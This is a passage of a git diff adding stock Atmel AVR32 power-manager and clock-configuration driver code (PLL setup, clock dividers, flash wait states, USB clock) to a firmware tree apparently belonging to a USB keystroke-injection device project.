(CPU clock = HSB clock ) + */ +extern void pm_cksel(volatile avr32_pm_t *pm, unsigned int pbadiv, unsigned int pbasel, unsigned int pbbdiv, unsigned int pbbsel, unsigned int hsbdiv, unsigned int hsbsel); + + +/*! + * \brief This function will setup a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + * \param osc_or_pll Use OSC (=0) or PLL (=1) + * \param pll_osc Select Osc0/PLL0 or Osc1/PLL1 + * \param diven Generic clock divisor enable + * \param div Generic clock divisor + */ +extern void pm_gc_setup(volatile avr32_pm_t *pm, unsigned int gc, unsigned int osc_or_pll, unsigned int pll_osc, unsigned int diven, unsigned int div); + + +/*! + * \brief This function will enable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_enable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will disable a generic clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gc generic clock number (0 for gc0...) + */ +extern void pm_gc_disable(volatile avr32_pm_t *pm, unsigned int gc); + + +/*! + * \brief This function will setup a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param mul PLL MUL in the PLL formula + * \param div PLL DIV in the PLL formula + * \param osc OSC number (0 for osc0, 1 for osc1) + * \param lockcount PLL lockount + */ +extern void pm_pll_setup(volatile avr32_pm_t *pm, unsigned int pll, unsigned int mul, unsigned int div, unsigned int osc, unsigned int lockcount); + + +/*! + * \brief This function will set a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \param pll_freq Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + * \param pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + * \param pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + */ +extern void pm_pll_set_option(volatile avr32_pm_t *pm, unsigned int pll, unsigned int pll_freq, unsigned int pll_div2, unsigned int pll_wbwdisable); + + +/*! + * \brief This function will get a PLL option. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + * \return Option + */ +extern unsigned int pm_pll_get_option(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will enable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_enable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will disable a PLL. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param pll PLL number(0 for PLL0, 1 for PLL1) + */ +extern void pm_pll_disable(volatile avr32_pm_t *pm, unsigned int pll); + + +/*! + * \brief This function will wait for PLL0 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll0_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will wait for PLL1 locked + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + */ +extern void pm_wait_for_pll1_locked(volatile avr32_pm_t *pm); + + +/*! + * \brief This function returns the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param p_cksel output cksel value +*/ +extern void pm_cksel_get(volatile avr32_pm_t *pm, unsigned long* p_cksel); + + +/*! + * \brief This function set the cksel (Clock Select). + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param cksel The cksel value. +*/ +extern void pm_cksel_set(volatile avr32_pm_t *pm, unsigned long cksel); + + +/*! + * \brief This function returns the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \retval The main clock value. +*/ +extern unsigned long pm_get_clock(volatile avr32_pm_t *pm); + + +/*! + * \brief This function will switch the power manager main clock. + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param clock Clock to be switched on. AVR32_PM_MCSEL_SLOW for RCOsc, AVR32_PM_MCSEL_OSC0 for Osc0, AVR32_PM_MCSEL_PLL0 for PLL0. + */ +extern void pm_switch_to_clock(volatile avr32_pm_t *pm, unsigned long clock); + + +/*! + * \brief Switch main clock to clock Osc0 (crystal mode) + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param fosc0 Oscillator 0 crystal frequency (Hz) + * \param startup Crystal 0 startup time. AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC. + */ +extern void pm_switch_to_osc0(volatile avr32_pm_t *pm, unsigned int fosc0, unsigned int startup); + + +/*! \brief Enables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_enable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Disables the Brown-Out Detector interrupt. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_disable_irq(volatile avr32_pm_t *pm); + + +/*! \brief Clears the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + */ +extern void pm_bod_clear_irq(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt flag. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 No BOD interrupt. + * \retval 1 BOD interrupt pending. + */ +extern unsigned long pm_bod_get_irq_status(volatile avr32_pm_t *pm); + + +/*! \brief Gets the Brown-Out Detector interrupt enable status. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \retval 0 BOD interrupt disabled. + * \retval 1 BOD interrupt enabled. + */ +extern unsigned long pm_bod_get_irq_enable_bit(volatile avr32_pm_t *pm); + + +/*! \brief Gets the triggering threshold of the Brown-Out Detector. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM). + * + * \return Triggering threshold of the BOD. See the electrical characteristics + * in the part datasheet for actual voltage levels. + */ +extern unsigned long pm_bod_get_level(volatile avr32_pm_t *pm); + + +/*! + * \brief Read the content of the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp); + + +/*! + * \brief Write into the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value); + + +/*! \brief Enable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module); + +/*! \brief Disable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module); + + + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * according to the user wishes. + * + * This function needs some parameters stored in a pm_freq_param_t structure: + * - cpu_f and pba_f are the wanted frequencies, + * - osc0_f is the oscillator 0 on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0 startup time (e.g. OSC0_STARTUP). + * + * The function will then configure the clocks using the following rules: + * - It first try to find a valid PLL frequency (the highest possible value to avoid jitter) in order + * to satisfy the CPU frequency, + * - It optimizes the configuration depending the various divide stages, + * - Then, the PBA frequency is configured from the CPU freq. + * - Note that HSB and PBB are configured with the same frequency as CPU. + * - Note also that the number of wait states of the flash read accesses is automatically set-up depending + * the CPU frequency. As a consequence, the application needs the FLASHC driver to compile. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \param param pointer on the configuration structure. + * + * \retval PM_FREQ_STATUS_OK Mode successfully initialized. + * \retval PM_FREQ_STATUS_FAIL The configuration can not be done. + */ +extern int pm_configure_clocks(pm_freq_param_t *param); + + +/*! \brief Automatically configure the USB clock. + * + * USB clock is configured to 48MHz, using the PLL1 from the Oscillator0, assuming + * a 12 MHz crystal is connected to it. + */ +extern void pm_configure_usb_clock(void); + + +#endif // _PM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm_conf_clocks.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm_conf_clocks.c new file mode 100644 index 0000000..c1327f2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/pm_conf_clocks.c @@ -0,0 +1,266 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager clocks configuration helper. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "compiler.h" +#include "pm.h" + +extern void flashc_set_wait_state(unsigned int wait_state); +#if (defined AVR32_FLASHC_210_H_INCLUDED) +extern void flashc_issue_command(unsigned int command, int page_number); +#endif + + +#define PM_MAX_MUL ((1 << AVR32_PM_PLL0_PLLMUL_SIZE) - 1) + + +int pm_configure_clocks(pm_freq_param_t *param) +{ + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + Bool b_div2_pba, b_div2_cpu; + + // Switch to external Oscillator 0 + pm_switch_to_osc0(&AVR32_PM, in_osc0_f, param->osc0_startup); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PM_FREQ_STATUS_OK; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return PM_FREQ_STATUS_FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return PM_FREQ_STATUS_FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + pm_pll_setup(&AVR32_PM + , 0 // pll + , mul // mul + , div // div + , 0 // osc + , 16 // lockcount + ); + + pm_pll_set_option(&AVR32_PM + , 0 // pll + // PLL clock is lower than 160MHz: need to set pllopt. + , (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0 // pll_freq + , div2_en // pll_div2 + , 0 // pll_wbwdisable + ); + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + // Enable PLL0 + pm_pll_enable(&AVR32_PM, 0); + + // Wait for PLL0 locked + pm_wait_for_pll0_locked(&AVR32_PM); + + if (div2_cpu) + { + b_div2_cpu = TRUE; + div2_cpu--; + } + else + b_div2_cpu = FALSE; + + if (div2_pba) + { + b_div2_pba = TRUE; + div2_pba--; + } + else + b_div2_pba = FALSE; + + pm_cksel(&AVR32_PM + , b_div2_pba, div2_pba // PBA + , b_div2_cpu, div2_cpu // PBB + , b_div2_cpu, div2_cpu // HSB + ); + + if (param->cpu_f > AVR32_FLASHC_FWS_0_MAX_FREQ) + { + flashc_set_wait_state(1); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + else + { + flashc_set_wait_state(0); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + + pm_switch_to_clock(&AVR32_PM, AVR32_PM_MCCTRL_MCSEL_PLL0); + + return PM_FREQ_STATUS_OK; +} + + +void pm_configure_usb_clock(void) +{ +#if UC3A3 + + // Setup USB GCLK. + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc + 0, // osc_or_pll: use Osc (if 0) or PLL (if 1) + 0, // pll_osc: select Osc0/PLL0 or Osc1/PLL1 + 0, // diven + 0); // div + + // Enable USB GCLK. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#else + // Use 12MHz from OSC0 and generate 96 MHz + pm_pll_setup(&AVR32_PM, 1, // pll. + 7, // mul. + 1, // div. + 0, // osc. + 16); // lockcount. + + pm_pll_set_option(&AVR32_PM, 1, // pll. + 1, // pll_freq: choose the range 80-180MHz. + 1, // pll_div2. + 0); // pll_wbwdisable. + + // start PLL1 and wait forl lock + pm_pll_enable(&AVR32_PM, 1); + + // Wait for PLL1 locked. + pm_wait_for_pll1_locked(&AVR32_PM); + + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc. + 1, // osc_or_pll: use Osc (if 0) or PLL (if 1). + 1, // pll_osc: select Osc0/PLL0 or Osc1/PLL1. + 0, // diven. + 0); // div. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#endif +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/power_clocks_lib.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/power_clocks_lib.c new file mode 100644 index 0000000..51d8c39 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/pm/power_clocks_lib.c @@ -0,0 +1,575 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#include "power_clocks_lib.h" + + +//! Device-specific data +#if UC3L +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param); // FORWARD declaration +#endif + +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param); // FORWARD declaration +#endif + +long int pcl_configure_clocks(pcl_freq_param_t *param) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE + // Implementation for UC3A, UC3A3, UC3B parts. + return(pm_configure_clocks(param)); +#else + #if (defined AVR32_PM_410_H_INCLUDED ) || (defined AVR32_PM_412_H_INCLUDED ) + // Implementation for UC3C parts. + return(pcl_configure_clocks_uc3c(param)); + #else + // Implementation for UC3L parts. + return(pcl_configure_clocks_uc3l(param)); + #endif +#endif +} + + +//! Device-specific implementation +#if UC3L +// FORWARD declaration +static long int pcl_configure_synchronous_clocks( pm_clk_src_t main_clk_src, + unsigned long main_clock_freq_hz, + pcl_freq_param_t *param); + +long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_SLOWCLOCK_FREQ_HZ) || (param->pba_f > SCIF_SLOWCLOCK_FREQ_HZ) + || (param->pbb_f > SCIF_SLOWCLOCK_FREQ_HZ)) + return(-1); +#endif + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_SLOW, SCIF_SLOWCLOCK_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_RC120M_FREQ_HZ) || (param->pba_f > SCIF_RC120M_FREQ_HZ) + || (param->pbb_f > SCIF_RC120M_FREQ_HZ)) + return(-1); +#endif + + // Start the 120MHz internal RCosc (RC120M) clock + scif_start_rc120M(); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_RC120M, SCIF_RC120M_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_osc0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_OSC0 + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->osc0_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, main_clock_freq); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_OSC0, main_clock_freq, param)); +} + + +long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_DFLL + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + scif_gclk_opt_t *pgc_dfllif_ref_opt; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->dfll_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target DFLL output frequency is in the correct range. + if((main_clock_freq > SCIF_DFLL_MAXFREQ_HZ) || (main_clock_freq < SCIF_DFLL_MINFREQ_HZ)) + return(-1); + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + pgc_dfllif_ref_opt = (scif_gclk_opt_t *)param->pextra_params; + // Implementation note: this implementation configures the DFLL in closed-loop + // mode (because it gives the best accuracy) which enables the generic clock CLK_DFLLIF_REF + // as a reference (RCSYS being used as the generic clock source, undivided). + scif_dfll0_closedloop_configure_and_start(pgc_dfllif_ref_opt, main_clock_freq, TRUE); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_DFLL0, main_clock_freq, param)); +} + + +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS, PCL_MC_OSC0, PCL_MC_DFLL0, PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + if(PCL_MC_RCSYS == param->main_clk_src) + { + return(pcl_configure_clocks_rcsys(param)); + } + else if(PCL_MC_RC120M == param->main_clk_src) + { + return(pcl_configure_clocks_rc120m(param)); + } + else if(PCL_MC_OSC0 == param->main_clk_src) + { + return(pcl_configure_clocks_osc0(param)); + } + else // PCL_MC_DFLL0 == param->main_clk_src + { + return(pcl_configure_clocks_dfll0(param)); + } +} + +static long int pcl_configure_synchronous_clocks(pm_clk_src_t main_clk_src, unsigned long main_clock_freq_hz, pcl_freq_param_t *param) +{ + //# + //# Set the Synchronous clock division ratio for each clock domain + //# + pm_set_all_cksel(main_clock_freq_hz, param->cpu_f, param->pba_f, param->pbb_f); + + //# + //# Set the Flash wait state and the speed read mode (depending on the target CPU frequency). + //# +#if UC3L + flashcdw_set_flash_waitstate_and_readmode(param->cpu_f); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(param->cpu_f); +#endif + + + //# + //# Switch the main clock source to the selected clock. + //# + pm_set_mclk_source(main_clk_src); + + return PASS; +} + +#endif // UC3L device-specific implementation + +//! UC3C Device-specific implementation +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param) +{ + #define PM_MAX_MUL ((1 << AVR32_SCIF_PLLMUL_SIZE) - 1) + #define AVR32_PM_PBA_MAX_FREQ 66000000 + #define AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ 240000000 + #define AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ 160000000 + + // Implementation for UC3C parts. + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + Bool b_div2_pba, b_div2_cpu; + + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, in_osc0_f); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PASS; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div 